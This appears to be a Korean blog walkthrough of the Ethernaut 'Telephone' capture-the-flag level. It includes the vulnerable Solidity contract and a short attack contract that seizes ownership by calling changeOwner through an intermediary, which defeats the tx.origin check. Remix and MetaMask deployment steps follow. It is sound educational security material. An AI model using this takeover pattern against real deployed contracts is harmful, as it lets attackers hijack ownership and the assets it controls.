Ethereum/Ethernaut

4.Telephone

woo__c.s 2021. 7. 15. 15:32

가장 먼저 임무를 확인한다.

  • 이 컨트랙트의 소유권을 주장하라.

새 인스턴스 가져오기 버튼을 통해서 메타마스크에서 트랜잭션을 발생시키고

인스턴스 주소가 정상적으로 출력이 되는지 확인한다.

 

이번 레벨에서 임무가 컨트랙트의 소유권을 주장하는 것이기에 현재

컨트랙트의 오너가 누구인지 확인한다.

소스코드 분석

constructor : 생성자는 컨트랙트의 수명 주기에서 처음 실행될 때 한 번 실행된다.

changeOwner : 주소값을 인자로 받으며 public 이다.

                    계약 외부의 어느 곳에서 이 함수를 실행할 수 있다.

                    tx.origin 이 msg.sender와 같지 않으면 오너를 변경한다.

 

tx.origin (address payable) : sender of the transaction (full call chain)

msg.sender (address payable) : sender of the message (curren call)

 

remix에서 Telephone라는 파일을 만들고 소스코드를 복사 붙여넣기 해준다.

 

Telephone.sol

pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

telephoneAttack.sol

pragma solidity ^0.6.0;

import './telephone.sol';

contract telephoneAttack {
    Telephone telContract;

    constructor(address _address) public{
        telContract = Telephone(_address);
    }

    function attackContract(address _address) public {
        telContract.changeOwner(_address);
    }
}

telephoneAttack.sol 컨트랙트를 배포하기 전 Telephone 컨트랙의 주소를 확인하고

 

 ENVIRONMENT가 Web3로 되어있는지 확인하고

 자신의 메타마스크 주소를 선택하고

 CONTRACT 가 telephoneAttack를 가리키고 있는지 확인

 Deploy에 contract.address 로 확인한 주소를 넣고 배포한다.

 

 앞에서 확인한 컨트랙트 오너를 자신으로 바꿔야 하므로 메타마스크에서 자신의 

 지갑주소를 복사하고 

 배포된 컨트랙트를 열어보면 사용할 수 있는 함수가 나오는데 여기에

 자신의 메타마스크 지갑 주소를 넣어주고 버튼을 클릭하고 트랜잭션을 발생시킨다.

 콘솔로 돌아가 오너를 확인하면 자신의 주소로 바뀐 것을 확인할 수 있다.

 

이더넛으로 돌아가 인스턴스 제출 버튼을 누르고 트랜잭션을 발생시키면 

 

취약점

tx.origin을 사용하여 인증을 해선 안된다. 

 

tx.origin에 대하여 조금 더 알아봐야할 것 같다.

 

참고자료

https://www.youtube.com/watch?v=JENI43UhaaQ&t=19s

'Ethereum > Ethernaut' 카테고리의 다른 글

6. Delegation  (0) 2021.07.20
5. Token  (0) 2021.07.20
3. Coin Flip  (1) 2021.07.10
2.Fallout  (0) 2021.07.09
1. Fallback  (0) 2021.07.08